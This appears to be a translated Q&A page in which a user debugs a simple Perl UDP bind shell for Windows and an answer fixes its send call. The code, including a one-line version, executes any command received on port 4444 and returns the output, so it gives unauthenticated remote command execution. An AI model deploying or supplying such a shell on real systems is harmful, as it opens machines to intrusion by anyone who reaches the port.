Perl打印反引号STDOUT

时间:2019-06-13 15:10:16

标签: perl sockets io-socket

我在Perl中编写了一个非常简单的绑定外壳,该外壳应该在Windows上打开特定端口,当我使用ncat连接到它时,我应该能够从ncat编写命令,这些命令可以在计算机上执行并还给我STDOUT。 到目前为止,这是我的代码:

use strict; use IO::Socket; 
my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO); 
$MAXLEN = 2048;
$PORTNO = 4444;
$sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp');
while ($sock->recv($newmsg, $MAXLEN)) {
    my($port, $ipaddr) = sockaddr_in($sock->peername);
    my @cmd = qx($newmsg);
    print(@cmd);
    $sock->send(@cmd);
}

如果我输入诸如echo Hello world之类的简单内容,它将按预期返回Hello World。当我键入dir或包含换行符的内容时,就会出现问题(或者,我猜想,对于perl来说,我还很新)。 键入dir时,结果将打印在perl shell上(由于print(@cmd)而已,这是预期的结果,但随后还会打印usage: $sock->send(BUF, [FLAGS, [TO]]) at -e line 1.并退出,但我从未在ncat中收到消息。 / p>

我正在从命令外壳运行命令作为单行代码: perl -e "use strict; use IO::Socket; my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO); $MAXLEN = 1024; $PORTNO = 4444; $sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp'); while ($sock->recv($newmsg, $MAXLEN)) {my($port, $ipaddr) = sockaddr_in($sock->peername);my @cmd = qx($newmsg);print(@cmd);$sock->send(@cmd);}"

我该如何做才能将内容打印为dir?

1 个答案:

答案 0 :(得分:2)

您的问题出在$sock->send(@cmd)上。 send方法期望消息是标量而不是数组。您可以通过以下方法解决此问题

my $CRLF="\x0D\x0A"; # Network line break
$sock->send(join $CRLF, @cmd); # Convert @command into a single string